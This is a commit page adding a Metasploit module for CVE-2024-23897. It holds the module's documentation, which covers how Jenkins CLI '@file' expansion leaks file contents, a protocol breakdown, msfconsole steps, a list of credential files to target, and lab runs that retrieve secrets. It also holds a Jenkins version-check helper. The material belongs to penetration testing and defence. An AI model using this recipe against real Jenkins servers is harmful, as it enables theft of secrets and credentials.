Skip to content

Commit 31cf0e2

Browse files
committed
Land rapid7#18764, Add unauth Jenkins file read module
This PR adds a new module to exploit CVE-2024-23897, an unauth arbitrary (first 2 lines) file read on Jenkins.
2 parents 0cd2bc5 + 155181f commit 31cf0e2

File tree

3 files changed

+437
-0
lines changed

3 files changed

+437
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
## Vulnerable Application
2+
3+
This module utilizes the Jenkins cli protocol to run the `help` command.
4+
The cli is accessible with read-only permissions by default, which are
5+
all thats required.
6+
7+
Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
8+
replace any `@<filename>` with the contents of a file. We are then able to retrieve
9+
the error message to read up to the first two lines of a file.
10+
11+
Exploitation by hand can be done with the cli, see markdown documents for additional
12+
instructions.
13+
14+
There are a few exploitation oddities:
15+
1. The injection point for the `help` command requires 2 input arguments.
16+
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
17+
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
18+
However, we can pad out the content by supplying a first argument.
19+
2. There is a strange timing requirement where the `download` (or first) request must get
20+
to the server first, but the `upload` (or second) request must be very close behind it.
21+
From testing against the docker image, it was found values between `.01` and `1.9` were
22+
viable. Due to the round trip time of the first request and response happening before
23+
request 2 would be received, it is necessary to use threading to ensure the requests
24+
happen within rapid succession.
25+
26+
Files of value:
27+
28+
* /var/jenkins_home/secret.key
29+
* /var/jenkins_home/secrets/master.key
30+
* /var/jenkins_home/secrets/initialAdminPassword
31+
* /etc/passwd
32+
* /etc/shadow
33+
* Project secrets and credentials
34+
* Source code, build artifacts
35+
36+
Vulnerable versions include:
37+
38+
* < 2.442
39+
* LTS < 2.426.3
40+
41+
### Protocol Breakdown
42+
43+
A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.
44+
45+
| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** |
46+
|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
47+
| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
48+
| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
49+
| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
50+
| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
51+
52+
### Docker Setup
53+
54+
Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`
55+
56+
LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`
57+
58+
## Verification Steps
59+
60+
1. Install the application
61+
1. Start msfconsole
62+
1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read`
63+
1. Do: `set rhost [ip]`
64+
1. Do: `run`
65+
1. You should get the first two lines of the `FILE_PATH`
66+
67+
## Options
68+
69+
### FILE_PATH
70+
71+
File path to read from the server. Defaults to `/etc/passwd`.
72+
73+
Other files which may be of value:
74+
* `/var/jenkins_home/secret.key`
75+
* `/var/jenkins_home/secrets/master.key`
76+
* `/var/jenkins_home/secrets/initialAdminPassword`
77+
* `/etc/passwd`
78+
* `/etc/shadow`
79+
* Project secrets and credentials
80+
* Source code, build artifacts
81+
82+
### DELAY
83+
84+
Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
85+
Defaults to `0.5`
86+
87+
Testing against the docker image showed values between `.01` and `1.9` were successful.
88+
89+
### ENCODING
90+
91+
Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`
92+
93+
### LOCALITY
94+
95+
Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`
96+
97+
## Scenarios
98+
99+
### jenkins 2.440-jdk17 on Docker
100+
101+
```
102+
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
103+
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
104+
rhost => 127.0.0.1
105+
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
106+
file_path => /var/jenkins_home/secrets/initialAdminPassword
107+
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
108+
[*] Running module against 127.0.0.1
109+
110+
[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
111+
[*] Re-attempting with padding for single line output file
112+
[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
113+
f5d5f6e98e1f466aad22c0f81ca48fb0
114+
[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
115+
[*] Auxiliary module execution completed
116+
```
117+
118+
### jenkins 2.426.2-lts on Docker
119+
120+
```
121+
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
122+
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
123+
rhost => 127.0.0.1
124+
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
125+
file_path => /var/jenkins_home/secret.key
126+
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
127+
[*] Running module against 127.0.0.1
128+
129+
[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
130+
[*] Re-attempting with padding for single line output file
131+
[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
132+
6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
133+
[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
134+
[*] Auxiliary module execution completed
135+
```

lib/msf/core/exploit/remote/http/jenkins.rb

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,27 @@ class Remote
66
module HTTP
77
# This module provides a way of logging into Jenkins
88
module Jenkins
9+
# Returns the Jenkins version.
10+
#
11+
# @return [String] Jenkins version.
12+
# @return [NilClass] No Jenkins version found.
13+
def jenkins_version
14+
uri = normalize_uri(target_uri.path)
15+
res = send_request_cgi({ 'uri' => uri })
16+
17+
unless res
18+
return nil
19+
end
20+
21+
# shortcut for new versions such as 2.426.2 and 2.440
22+
return res.headers['X-Jenkins'] if res.headers['X-Jenkins']
23+
24+
html = res.get_html_document
25+
version_attribute = html.at('body').attributes['data-version']
26+
version = version_attribute ? version_attribute.value : ''
27+
version.scan(/jenkins-([\d.]+)/).flatten.first
28+
end
29+
930
# This method takes a target URI and makes a request to verify if logging in is possible,
1031
# otherwise it will fail gracefully
1132
#

0 commit comments

Comments
 (0)